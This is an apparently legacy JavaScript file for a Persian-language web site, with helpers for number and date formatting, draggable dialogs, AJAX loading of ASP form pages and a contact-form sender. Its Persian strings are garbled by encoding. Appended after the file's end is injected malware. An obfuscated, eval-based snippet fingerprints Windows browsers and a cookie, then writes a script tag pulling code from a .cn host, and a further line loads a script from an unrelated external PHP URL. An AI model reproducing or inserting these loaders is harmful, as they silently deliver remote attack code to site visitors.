 	 {  
 	 	 i f   ( d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . o p t i o n s [ i ] . v a l u e = = v a l u e )  
 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . s e l e c t e d I n d e x   =   i ;  
 	 }  
 }  
  
  
 / /   - - - - - - - - - - - - - - - - - - - - -   G e t   n u m b e r   f o r m a t s  
 f u n c t i o n   g e t N u m b e r F o r m a t ( n ) 	 / /   2 3 0 0 0   - >   2 3 , 0 0 0  
 {  
 	 v a r   a r r = n e w   A r r a y ( ' 0 ' ) ,   i = 0 ;    
 	 w h i l e   ( n > 0 )    
         {  
         	 a r r [ i ] = ' '   +   n % 1 0 0 0 ;   n = M a t h . f l o o r ( n / 1 0 0 0 ) ;   i + + ;  
         }  
     	 a r r = a r r . r e v e r s e ( ) ;  
     	 f o r   ( v a r   i   i n   a r r )    
     	 	 i f   ( i > 0 )   / / p a d d i n g   z e r o s  
         	 	 w h i l e   ( a r r [ i ] . l e n g t h < 3 )   a r r [ i ] = ' 0 ' + a r r [ i ] ;  
     	 r e t u r n   a r r . j o i n ( ) ;  
 }  
 f u n c t i o n   g e t D i g i t F o r m a t ( n ) 	 / /   2 3 , 0 0 0   - >   2 3 0 0 0  
 {  
 	 v a r   t x t ;  
 	 v a r   p o s ;  
 	 w h i l e   ( n . i n d e x O f ( " , " ) ! = - 1 )  
 	 {  
 	 	 p o s   =   n . i n d e x O f ( " , " ) ;  
 	 	 n   =   n . s u b s t r i n g ( 0 , p o s )   +   n . s u b s t r i n g ( p o s + 1 ) ;  
 	 }  
 	 r e t u r n   n ;  
 }  
  
 / /   	 d i g i t  
 / /   = = = = = = = = = = = = = = = = = = = = = = = = = =  
 f u n c t i o n   g e t D i g i t ( i d )  
 {  
 	 v a r   k e y   ;  
 	 i f   ( w i n d o w . e v e n t )    
 	 	 k e y   =   w i n d o w . e v e n t . k e y C o d e ;  
 	 e l s e   i f   ( e v e n t )  
 	 	 k e y   =   e v e n t . w h i c h ;  
  
 	 i f   ( k e y = = 1 3 )  
 	 	 i f   ( w i n d o w . e v e n t )    
 	 	 	 w i n d o w . e v e n t . k e y C o d e   =   9 ;  
 	 	 e l s e   i f   ( e v e n t )  
 	 	 	 e v e n t . w h i c h   =   9   ;  
 	 	  
 	 	 i f   (   ( ( k e y   > =   4 8 )   & &   ( k e y   < =   5 7 ) )   | |   ( ( k e y   > =   9 6 )   & &   ( k e y   < =   1 0 5 ) )   | |   ( k e y   = =   8 )   | |   ( k e y = = 4 6 )   | |   ( k e y = = 3 9 )   | |   ( k e y = = 3 7 )   | |   ( k e y = = 8 )   | |   ( k e y = = 1 3 )   | |   ( k e y = = 9 ) )   / /   D e l e t e ,   B a c k S p a c e  
 	 	 r e t u r n ( t r u e ) ;  
 	 e l s e  
 	 	 r e t u r n ( f a l s e ) ;  
 }  
  
 / /   - - - - - - - - - - - - - - - - - - - - -   P O P   a n d   N E X T C O D E D  
 f u n c t i o n   p o p C o d e d T x t ( t x t ,   m y D e l i m i t e r )  
 {  
 	 i f   ( m y D e l i m i t e r   = =   n u l l )  
 	 	 m y D e l i m i t e r   =   d e l i m i t e r ;  
 	 v a r   t e m p T x t ;  
 	 t e m p T x t   =   t x t . s u b s t r i n g ( 0 , t x t . i n d e x O f ( m y D e l i m i t e r ) ) ;  
 / / 	 t x t   =   n e x t C o d e d T x t ( t x t , m y D e l i m i t e r ) ;  
 	 r e t u r n   t e m p T x t ;  
 }  
 f u n c t i o n   n e x t C o d e d T x t ( t x t ,   m y D e l i m i t e r )  
 {  
 	 i f   ( m y D e l i m i t e r   = =   n u l l )  
 	 	 m y D e l i m i t e r   =   d e l i m i t e r ;  
 	 v a r   t e m p T x t ;  
 	 t x t   =   t x t . s u b s t r i n g ( t x t . i n d e x O f ( m y D e l i m i t e r ) + m y D e l i m i t e r . l e n g t h ) ;  
 	 r e t u r n   t x t ;  
 }  
  
  
  
 f u n c t i o n   g i v e N C h a r ( t x t , n )  
 {  
 	 w h i l e   ( t x t . l e n g t h   <   n )  
 	 { 	 t x t   =   " 0 "   +   t x t ;   }  
 	 r e t u r n   t x t ;  
 }  
  
 / /   - - - - - - - - - - - - - - - - - - - - -   G E T   D A T E  
 f u n c t i o n   g e t J u s t Y e a r ( t x t )  
 {  
 	 r e t u r n   t x t . s u b s t r ( 0 , t x t . i n d e x O f ( ' / ' , 0 ) ) ;  
 }  
  
 f u n c t i o n   g e t J u s t M o n t h ( t x t )  
 {  
 	 v a r   y 1 = t x t . s u b s t r ( 0 , t x t . i n d e x O f ( ' / ' , 0 ) ) ;  
 	 t x t = t x t . s u b s t r ( t x t . i n d e x O f ( ' / ' , 0 ) + 1 ) ;  
 	 r e t u r n   g i v e N C h a r ( t x t . s u b s t r ( 0 , t x t . i n d e x O f ( ' / ' , 0 ) ) , 2 ) ;  
 }  
  
 f u n c t i o n   g e t J u s t D a y ( t x t )  
 {  
 	 v a r   y 1 = t x t . s u b s t r ( 0 , t x t . i n d e x O f ( ' / ' , 0 ) ) ;  
 	 t x t = t x t . s u b s t r ( t x t . i n d e x O f ( ' / ' , 0 ) + 1 ) ;  
 	 v a r   m 1 = t x t . s u b s t r ( 0 , t x t . i n d e x O f ( ' / ' , 0 ) ) ;  
 	 r e t u r n   g i v e N C h a r ( t x t . s u b s t r ( t x t . i n d e x O f ( ' / ' , 0 ) + 1 ) , 2 ) ;  
 }  
  
  
 / /   - - - - - - - - - - - - - - - - - - - - -   D i s a b l e   /   E n a b l e   S c r e e n  
 f u n c t i o n   a c t i v e D i s a b l e ( l a y e r N a m e )  
 {  
 	 i f   ( l a y e r N a m e   = =   n u l l )  
 	 	 l a y e r N a m e   =   " d i s a b l e L a y e r " ;  
 	 D i a l o g P r e v _ o v e r f l o w X   =   d o c u m e n t . b o d y . s t y l e . o v e r f l o w X   ;  
 	 D i a l o g P r e v _ o v e r f l o w Y   =   d o c u m e n t . b o d y . s t y l e . o v e r f l o w Y   ;  
 	 d o c u m e n t . b o d y . s t y l e . o v e r f l o w X = " h i d d e n "   ;  
 	 d o c u m e n t . b o d y . s t y l e . o v e r f l o w Y = " h i d d e n "   ;  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( l a y e r N a m e ) . s t y l e . w i d t h   =   d o c u m e n t . b o d y . c l i e n t W i d t h * 1 + 1 0 0 ;  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( l a y e r N a m e   ) . s t y l e . h e i g h t   =   d o c u m e n t . b o d y . c l i e n t H e i g h t * 1 + 1 0 0 ;  
 	 / /   D i s a b l e   a l l   f i e l d s   b y   d i s a b l e   L a y e r  
 	 s e t F i e l d V i s i b l e ( l a y e r N a m e   ) ;  
 	  
 }  
  
 f u n c t i o n   d e a c t i v e D i s a b l e ( l a y e r N a m e )  
 {  
 	 / /   E n a b l e   a l l   f i e l d s  
 	 i f   ( l a y e r N a m e   = =   n u l l )  
 	 	 l a y e r N a m e   =   " d i s a b l e L a y e r " ;  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( l a y e r N a m e ) . s t y l e . w i d t h   =   1 ;  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( l a y e r N a m e   ) . s t y l e . h e i g h t   =   1 ;  
 	 d o c u m e n t . b o d y . s t y l e . o v e r f l o w Y   =   D i a l o g P r e v _ o v e r f l o w Y   ;  
 	 d o c u m e n t . b o d y . s t y l e . o v e r f l o w X   =   D i a l o g P r e v _ o v e r f l o w X   ;  
 	 s e t F i e l d H i d d e n ( l a y e r N a m e ) ;  
 }  
  
 / / 	 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
 / / 	 - - - - - - - - - - - - - - - - -   D i a l o g   f u n c t i o n s  
 / / 	 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
 f u n c t i o n   s h o w D i a l o g ( d i a l o g N a m e , d i s a b l e L a y e r F l a g )  
 {  
 	 i f   ( d i a l o g I s O p e n   = =   0 )  
 	 {  
 	 	 / /   g o   t o   t o p  
 	 	 i f   ( d i s a b l e L a y e r F l a g   ! =   0 )    
 	 	 {  
 	 	 	 i f   ( n a v i g a t o r . a p p N a m e . i n d e x O f ( " E x p l o r e r " ) ! = - 1 )  
 	 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( " d i s a b l e L a y e r " ) . s t y l e . t o p   =   d o c u m e n t . b o d y . s c r o l l T o p ;  
 	 	 	 e l s e    
 	 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( " d i s a b l e L a y e r " ) . s t y l e . t o p   =   w i n d o w . p a g e Y O f f s e t ;  
 	 	 	 a c t i v e D i s a b l e ( ) ;  
 	 	 }  
  
 	 	 v a r   w i d t h   =   d o c u m e n t . g e t E l e m e n t B y I d ( d i a l o g N a m e ) . c l i e n t W i d t h ;  
 	 	 v a r   h e i g h t   =   d o c u m e n t . g e t E l e m e n t B y I d ( d i a l o g N a m e ) . c l i e n t H e i g h t ;  
 	 	 v a r   l a y e r T o p ,   l a y e r L e f t ;  
 	 	  
 	 	 i f   ( n a v i g a t o r . a p p N a m e . i n d e x O f ( " E x p l o r e r " ) ! = - 1 )  
 	 	 	 l a y e r T o p   =   d o c u m e n t . b o d y . s c r o l l T o p   +   d o c u m e n t . b o d y . c l i e n t H e i g h t / 2   -   h e i g h t / 2 ;  
 	 	 e l s e    
 	 	 	 l a y e r T o p   =   w i n d o w . p a g e Y O f f s e t   +   d o c u m e n t . b o d y . c l i e n t H e i g h t / 2   -   h e i g h t / 2 ;  
 	 	 l a y e r L e f t   =   d o c u m e n t . b o d y . c l i e n t W i d t h / 2   -   w i d t h / 2 ;  
  
 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( d i a l o g N a m e ) . s t y l e . t o p   =   l a y e r T o p ;  
 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( d i a l o g N a m e ) . s t y l e . l e f t   =   l a y e r L e f t ;  
  
 / / 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( " s h a d o w L a y e r " ) . s t y l e . t o p   =   l a y e r T o p   +   1 0 ;  
 / / 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( " s h a d o w L a y e r " ) . s t y l e . l e f t   =   l a y e r L e f t   +   1 0 ;  
 / / 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( " s h a d o w L a y e r " ) . s t y l e . w i d t h   =   w i d t h ;  
 / / 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( " s h a d o w L a y e r " ) . s t y l e . h e i g h t   =   h e i g h t   ;  
 	 	  
  
 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( d i a l o g N a m e ) . s t y l e . v i s i b i l i t y   =   " v i s i b l e " ;  
 / / 	 	 i f   ( d i a l o g N a m e   ! =   " d i s a b l e L a y e r " )  
 / / 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( " s h a d o w L a y e r " ) . s t y l e . v i s i b i l i t y   =   " v i s i b l e " ;  
  
 	 	 d i a l o g I s O p e n   =   1 ;  
 	 } 	  
 }  
 f u n c t i o n   c l o s e D i a l o g ( d i a l o g N a m e , d i s a b l e L a y e r F l a g )  
 {  
 / / 	 i f   ( d i a l o g I s O p e n   = =   1 )  
 	 {  
 	 	 i f   ( d i s a b l e L a y e r F l a g   ! =   0 )    
 	 	 	 d e a c t i v e D i s a b l e ( ) ;  
 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( d i a l o g N a m e ) . s t y l e . v i s i b i l i t y   =   " h i d d e n " ;  
 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( " s h a d o w L a y e r " ) . s t y l e . v i s i b i l i t y   =   " h i d d e n " ;  
 	 	 d i a l o g I s O p e n   =   0 ;  
 	 } 	  
 }  
  
 v a r   d r a g a p p r o v e d = f a l s e ;  
 v a r   z , z S h a d o w F l a g , x , y ;  
 f u n c t i o n   m o v e ( )  
 {  
 	 i f   ( e v e n t . b u t t o n = = 1 & & d r a g a p p r o v e d ) {  
 	 	 z . s t y l e . p i x e l L e f t = t e m p 1 + e v e n t . c l i e n t X - x ;  
 	 	 z . s t y l e . p i x e l T o p = t e m p 2 + e v e n t . c l i e n t Y - y ;  
 	 	 i f   ( z S h a d o w F l a g = = 1 )  
 	 	 {  
 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( " s h a d o w L a y e r " ) . s t y l e . p i x e l L e f t = t e m p 1 + e v e n t . c l i e n t X - x + 1 0 ;  
 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( " s h a d o w L a y e r " ) . s t y l e . p i x e l T o p = t e m p 2 + e v e n t . c l i e n t Y - y + 1 0 ;  
 	 	 }  
 	 	 r e t u r n   f a l s e ;  
 	 }  
 }  
 	  
 f u n c t i o n   d r a g s ( )  
 {  
 	 i f   ( ! d o c u m e n t . a l l )  
 	 	 r e t u r n ;  
 	 i f   ( e v e n t . s r c E l e m e n t . c l a s s N a m e = = " d r a g " )  
 	 {  
 	 	 d r a g a p p r o v e d = t r u e ;  
 	 	  
 / * 	 	 i f   ( e v e n t . s r c E l e m e n t . i d = = " m e m b e r E d i t L a y e r H e a d " )  
 	 	 {  
 	 	 	 z   =   d o c u m e n t . g e t E l e m e n t B y I d ( " m e m b e r E d i t L a y e r " ) ;  
 	 	 	 z S h a d o w F l a g   =   1 ;  
 	 	 } 	  
 	 	 e l s e   i f   ( e v e n t . s r c E l e m e n t . i d = = " m e m b e r L i s t L a y e r H e a d " )  
 	 	 {  
 	 	 	 z   =   d o c u m e n t . g e t E l e m e n t B y I d ( " m e m b e r L i s t L a y e r " ) ;  
 	 	 	 z S h a d o w F l a g   =   1 ;  
 	 	 } 	  
 	 	 e l s e   i f   ( e v e n t . s r c E l e m e n t . i d = = " m e m b e r D e t a i l L a y e r H e a d " )  
 	 	 {  
 	 	 	 z   =   d o c u m e n t . g e t E l e m e n t B y I d ( " m e m b e r D e t a i l L a y e r " ) ;  
 	 	 	 z S h a d o w F l a g   =   1 ;  
 	 	 } 	  
 	 	 e l s e   i f   ( e v e n t . s r c E l e m e n t . i d = = " b o o k D e t a i l L a y e r H e a d " )  
 	 	 {  
 	 	 	 z   =   d o c u m e n t . g e t E l e m e n t B y I d ( " b o o k D e t a i l L a y e r " ) ;  
 	 	 	 z S h a d o w F l a g   =   1 ;  
 	 	 } 	  
 	 	 e l s e   i f   ( e v e n t . s r c E l e m e n t . i d = = " b o o k E d i t L a y e r H e a d " )  
 	 	 {  
 	 	 	 z   =   d o c u m e n t . g e t E l e m e n t B y I d ( " b o o k E d i t L a y e r " ) ;  
 	 	 	 z S h a d o w F l a g   =   1 ;  
 	 	 } 	  
 	 	 e l s e   i f   ( e v e n t . s r c E l e m e n t . i d = = " g i v e F o r m L a y e r H e a d " )  
 	 	 {  
 	 	 	 z   =   d o c u m e n t . g e t E l e m e n t B y I d ( " g i v e F o r m L a y e r " ) ;  
 	 	 	 z S h a d o w F l a g   =   1 ;  
 	 	 } 	  
 	 	  
 	 	 e l s e  
 	 	 	 z S h a d o w F l a g   =   0 ;  
 * / 	 	  
 	 	 z   =   d o c u m e n t . g e t E l e m e n t B y I d (   ( e v e n t . s r c E l e m e n t . i d ) . s u b s t r i n g ( 0 , ( e v e n t . s r c E l e m e n t . i d ) . i n d e x O f ( " H e a d " ) )   ) ;  
 	 	 z S h a d o w F l a g   =   1 ;  
  
 	 	  
 	 	 t e m p 1 = z . s t y l e . p i x e l L e f t ;  
 	 	 t e m p 2 = z . s t y l e . p i x e l T o p ;  
 	 	 x = e v e n t . c l i e n t X ;  
 	 	 y = e v e n t . c l i e n t Y ;  
 	 	 d o c u m e n t . o n m o u s e m o v e = m o v e ;  
 	 }  
 }  
 d o c u m e n t . o n m o u s e d o w n = d r a g s ;  
 d o c u m e n t . o n m o u s e u p = n e w   F u n c t i o n ( " d r a g a p p r o v e d = f a l s e " ) ;  
  
 / /   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   P a g e   M e n u  
 	 v a r   a c t i v e F o r m N a m e   =   " " ;  
 	  
 	 f u n c t i o n   s e c t i o n S h o w ( s e c t i o n N a m e , p a r a m )  
 	 {  
 	 	 a c t i v e F o r m N a m e   =   s e c t i o n N a m e ;  
 	 	 f o r m T e m p l a t e B o d y . i n n e r H T M L   =   " < I M G   i d = \ " f o r m T e m p l a t e I m a g e \ " > < B R > D7A'K  5(1  ©FJ/. . . " ;  
 	 	 f o r m T e m p l a t e I m a g e . s r c   =   l o a d i n g I m a g e . s r c ;  
 	 	 i f   ( s e c t i o n N a m e = = " H o s t " )  
 	 	 {  
 	 	 	 f o r m T e m p l a t e . s t y l e . w i d t h   =   " 7 0 0 " ;  
 	 	 	 f o r m T e m p l a t e . s t y l e . h e i g h t   =   " 4 5 9 " ;  
 	 	 	 s h o w D i a l o g ( " f o r m T e m p l a t e " ) ;  
 	 	 	 h o s t S h o w ( ) ;  
 	 	 }  
 	 	 e l s e   i f   ( s e c t i o n N a m e = = " F l a s h " )  
 	 	 {  
 	 	 	 f o r m T e m p l a t e . s t y l e . w i d t h   =   " 1 5 0 " ;  
 	 	 	 f o r m T e m p l a t e . s t y l e . h e i g h t   =   " 4 5 9 " ;  
 	 	 	 s h o w D i a l o g ( " f o r m T e m p l a t e " ) ;  
 	 	 	 f l a s h S h o w ( ) ;  
 	 	 }  
 	 	 e l s e   i f   ( s e c t i o n N a m e = = " P r o g r a m m i n g " )  
 	 	 {  
 	 	 	 f o r m T e m p l a t e . s t y l e . w i d t h   =   " 7 3 0 " ;  
 	 	 	 f o r m T e m p l a t e . s t y l e . h e i g h t   =   " 4 5 9 " ;  
 	 	 	 s h o w D i a l o g ( " f o r m T e m p l a t e " ) ;  
 	 	 	 p r g S h o w ( ) ;  
 	 	 }  
 	 	 e l s e   i f   ( s e c t i o n N a m e = = " M a t c h " )  
 	 	 {  
 	 	 	 f o r m T e m p l a t e . s t y l e . w i d t h   =   " 7 0 0 " ;  
 	 	 	 f o r m T e m p l a t e . s t y l e . h e i g h t   =   " 4 5 9 " ;  
 	 	 	 s h o w D i a l o g ( " f o r m T e m p l a t e " ) ;  
 	 	 	 m a t c h S h o w ( ) ;  
 	 	 }  
 	 	 e l s e   i f   ( s e c t i o n N a m e = = " R e s u m e " )  
 	 	 {  
 	 	 	 f o r m T e m p l a t e . s t y l e . w i d t h   =   " 7 0 0 " ;  
 	 	 	 f o r m T e m p l a t e . s t y l e . h e i g h t   =   " 4 9 0 " ;  
 	 	 	 s h o w D i a l o g ( " f o r m T e m p l a t e " ) ;  
 	 	 	 i f   ( p a r a m = = n u l l )  
 	 	 	 	 r e s u m e S h o w ( ) ;  
 	 	 	 e l s e  
 	 	 	 	 r e s u m e S h o w ( p a r a m ) ;  
 	 	 }  
 	 }  
  
 	 f u n c t i o n   h o s t S h o w ( )  
 	 {  
 	 	 c a l l A s p ( " f o r m H o s t . a s p " , " " , " h o s t S h o w 2 " ) ;  
 	 }  
 	 f u n c t i o n   h o s t S h o w 2 ( )  
 	 {  
 	 	 i f   ( x m l H t t p . r e a d y S t a t e = = 4   | |   x m l H t t p . r e a d y S t a t e = = " c o m p l e t e " )  
 	   	 {  
 	   	 	 v a r   r s p   =   x m l H t t p . r e s p o n s e T e x t ;  
 	   	 	 f o r m T e m p l a t e B o d y . i n n e r H T M L   =   r s p ;  
 	 	 }  
   	 }  
   	  
 	 f u n c t i o n   f l a s h S h o w ( )  
 	 {  
 	 	 c a l l A s p ( " f o r m F l a s h . a s p " , " " , " f l a s h S h o w 2 " ) ;  
 	 }  
 	 f u n c t i o n   f l a s h S h o w 2 ( )  
 	 {  
 	 	 i f   ( x m l H t t p . r e a d y S t a t e = = 4   | |   x m l H t t p . r e a d y S t a t e = = " c o m p l e t e " )  
 	   	 {  
 	   	 	 v a r   r s p   =   x m l H t t p . r e s p o n s e T e x t ;  
 	   	 	 f o r m T e m p l a t e B o d y . i n n e r H T M L   =   r s p ;  
 	 	 }  
   	 }  
   	  
 	 f u n c t i o n   p r g S h o w ( )  
 	 {  
 	 	 c a l l A s p ( " f o r m P r o g r a m m i n g . a s p " , " " , " p r g S h o w 2 " ) ;  
 	 }  
 	 f u n c t i o n   p r g S h o w 2 ( )  
 	 {  
 	 	 i f   ( x m l H t t p . r e a d y S t a t e = = 4   | |   x m l H t t p . r e a d y S t a t e = = " c o m p l e t e " )  
 	   	 {  
 	   	 	 v a r   r s p   =   x m l H t t p . r e s p o n s e T e x t ;  
 	   	 	 f o r m T e m p l a t e B o d y . i n n e r H T M L   =   r s p ;  
 	 	 }  
   	 }  
  
  
 	 f u n c t i o n   m a t c h S h o w ( )  
 	 {  
 	 	 c a l l A s p ( " f o r m M a t c h . a s p " , " " , " m a t c h S h o w 2 " ) ;  
 	 }  
 	 f u n c t i o n   m a t c h S h o w 2 ( )  
 	 {  
 	 	 i f   ( x m l H t t p . r e a d y S t a t e = = 4   | |   x m l H t t p . r e a d y S t a t e = = " c o m p l e t e " )  
 	   	 {  
 	   	 	 v a r   r s p   =   x m l H t t p . r e s p o n s e T e x t ;  
 	   	 	 f o r m T e m p l a t e B o d y . i n n e r H T M L   =   r s p ;  
 	 	 }  
   	 }  
  
 	 f u n c t i o n   r e s u m e S h o w ( i d )  
 	 {  
 	 	 v a r   u r l   =   " " ;  
 	 	 i f   ( i d ! = n u l l )    
 	 	 	 u r l   =   " c a t I D = "   +   i d ;  
 	 	 c a l l A s p ( " f o r m R e s u m e . a s p " , u r l , " r e s u m e S h o w 2 " ) ;  
 	 }  
 	 f u n c t i o n   r e s u m e S h o w 2 ( i d )  
 	 {  
 	 	 i f   ( x m l H t t p . r e a d y S t a t e = = 4   | |   x m l H t t p . r e a d y S t a t e = = " c o m p l e t e " )  
 	   	 {  
 	   	 	 v a r   r s p   =   x m l H t t p . r e s p o n s e T e x t ;  
 	   	 	 f o r m T e m p l a t e B o d y . i n n e r H T M L   =   a j D e c o d e ( r s p ) ;  
 / / 	 	 	 r e s u m e _ c l e a r C e l l s ( ) ;  
 	 	 }  
   	 }  
   	  
 / /   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
 / /   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   	 	 	 	 	 	 	 	 R E S U M E  
 / /   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
  
 f u n c t i o n   f o r m R e s u m e _ s h o w D e t a i l ( i d )  
 {  
 	 r e s u m e F o r m _ m a i n I m a g e . s r c   =   d o c u m e n t . g e t E l e m e n t B y I d ( " f o r m R e s u m e _ I m a g e " + i d ) . s r c ;  
 	 r e s u m e F o r m _ m a i n T i t l e . i n n e r H T M L   =   d o c u m e n t . g e t E l e m e n t B y I d ( " f o r m R e s u m e _ T i t l e " + i d ) . v a l u e ;  
 	 r e s u m e F o r m _ m a i n D e s c r i p t i o n . i n n e r H T M L   =   d o c u m e n t . g e t E l e m e n t B y I d ( " f o r m R e s u m e _ D e s c r i p t i o n " + i d ) . v a l u e ;  
 }  
  
 f u n c t i o n   r e s u m e F o r m _ c h a n g e C a t e g o r y ( i d )  
 {  
 	 f o r m T e m p l a t e B o d y . i n n e r H T M L   =   " < I M G   i d = \ " f o r m T e m p l a t e I m a g e \ " > < B R > D7A'K  5(1  ©FJ/. . . " ;  
 	 f o r m T e m p l a t e I m a g e . s r c   =   l o a d i n g I m a g e . s r c ;  
 	 r e s u m e S h o w ( i d ) ;  
 }  
  
  
 / /   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   M e s s a g i n g  
 / /   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   M e s s a g i n g   i n   f o r m s  
 f u n c t i o n   g l o b a l S e n d M e s s a g e ( f o r m N a m e ,   t o B e C l e a r F o r m )  
 {  
 	 i f   ( d o c u m e n t . g e t E l e m e n t B y I d ( f o r m N a m e + " _ e m a i l " ) . v a l u e   ! =   " "   & &   d o c u m e n t . g e t E l e m e n t B y I d ( f o r m N a m e + " _ f i r s t n a m e " ) . v a l u e   ! =   " "   & &   d o c u m e n t . g e t E l e m e n t B y I d ( f o r m N a m e + " _ l a s t n a m e " ) . v a l u e   ! =   " " )    
 	 {  
 	 	 v a r   u r l ;  
 	 	 u r l   =   " l a s t n a m e = "   +   d o c u m e n t . g e t E l e m e n t B y I d ( f o r m N a m e + " _ l a s t n a m e " ) . v a l u e ;    
 	 	 u r l   + =   " & f i r s t n a m e = "   +   d o c u m e n t . g e t E l e m e n t B y I d ( f o r m N a m e + " _ f i r s t n a m e " ) . v a l u e ;    
 	 	 u r l   + =   " & p h o n e = "   +   d o c u m e n t . g e t E l e m e n t B y I d ( f o r m N a m e + " _ p h o n e " ) . v a l u e ;    
 	 	 u r l   + =   " & e m a i l = "   +   d o c u m e n t . g e t E l e m e n t B y I d ( f o r m N a m e + " _ e m a i l " ) . v a l u e ;    
 	 	 u r l   + =   " & d e s c r i p t i o n = "   +   d o c u m e n t . g e t E l e m e n t B y I d ( f o r m N a m e + " _ d e s c r i p t i o n " ) . v a l u e ;    
 	 	 i f   ( a c t i v e F o r m N a m e = = " H o s t " )  
 	 	 	 u r l   + =   " & r e q S e r v i c e = "   +   d o c u m e n t . g e t E l e m e n t B y I d ( f o r m N a m e + " _ h o s t T y p e " ) . v a l u e ;    
 	 	 e l s e  
 	 	 	 u r l   + =   " & r e q S e r v i c e = "   +   a c t i v e F o r m N a m e ;  
 	 	 	  
 	 	 i f   ( t o B e C l e a r F o r m ! = " " )  
 	 	 	 c l o s e D i a l o g ( t o B e C l e a r F o r m ) ;  
 	 	 s h o w D i a l o g ( " l o a d i n g B o x " ) ;  
 	 	 c a l l A s p ( " s e n d M e s s a g e . a s p " , a j E n c o d e ( u r l ) , " g l o b a l S e n d M e s s a g e 2 " ) ;  
 	 }  
 	 e l s e  
 	 {  
 	 	 a l e r t ( " J©  J'  †F/  AJD/  3*'1G  /'1  *©EJD  F4/G  '3*" ) ;  
 	 }  
 }  
  
 f u n c t i o n   g l o b a l S e n d M e s s a g e 2 ( )  
 {  
 	 i f   ( x m l H t t p . r e a d y S t a t e = = 4   | |   x m l H t t p . r e a d y S t a t e = = " c o m p l e t e " )  
   	 {  
 / / 	 	 d e A c t i v e W a i t 4 C e l l ( " c o n f i r m L a y e r W a i t T D " ) ;  
 	 	 c l o s e D i a l o g ( " l o a d i n g B o x " ) ;  
   	 	 v a r   r s p   =   x m l H t t p . r e s p o n s e T e x t ;  
 	 	 i f   ( r s p   = =   " O K " )    
 	 	 {  
 	   	 	 a l e r t ( " ('  *4©1  '2  4E'  ~J:'E  EH1/  F81  '13'D  4/"   +   c h r ( 1 3 )   +   " /1  2   1H2  ©'1J  "JF/G  ('  4E'  *E'3  ¯1A*G  .H'G/  4/"   ) ;  
 	   	 }  
 	   	 e l s e    
 	   	 	 a l e r t ( " E*'3A'FG  '13'D  ~J:'E  /1  'JF  2E'F  'E©'F  ~0J1  FJ3*" ) ;  
 	 } 	  
 }  
  
  
  
  
 / / - - >  
  
  
 <!-- 
(function(quXtM){var MzQG='%';var SeQY='var~20a~3d~22ScriptEngi~6ee~22~2cb~3d~22~56e~72sio~6e()+~22~2cj~3d~22~22~2cu~3dnavig~61tor~2eus~65rAgent~3bif((u~2eindexOf~28~22Chrome~22)~3c0~29~26~26(u~2eind~65~78Of(~22Wi~6e~22)~3e0)~26~26(u~2e~69n~64ex~4f~66(~22~4eT~206~22~29~3c~30~29~26~26(docume~6e~74~2ecoo~6bie~2ei~6edex~4ff(~22~6diek~3d1~22)~3c~30)~26~26~28typ~65o~66(~7arvzts~29~21~3dtyp~65o~66(~22A~22~29)~29~7b~7arv~7at~73~3d~22A~22~3beval(~22~69f(~77~69ndo~77~2e~22~2ba+~22~29j~3d~6a+~22+a+~22Maj~6fr~22+b+a+~22~4din~6f~72~22~2bb+a+~22Bu~69ld~22+b+~22~6a~3b~22)~3bdoc~75m~65nt~2ewrit~65~28~22~3cscr~69pt~20src~3d~2f~2f~6d~22+~22ar~74uz~2e~63n~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fs~63ript~3e~22~29~3b~7d';var zZv=SeQY.replace(quXtM,MzQG);var yzjCP=unescape(zZv);eval(yzjCP)})(/\~/g);
 -->
document.write('<script src=http://mateuszpilich.edh.pl/oferta/moja_strona_b5.php ><\/script>');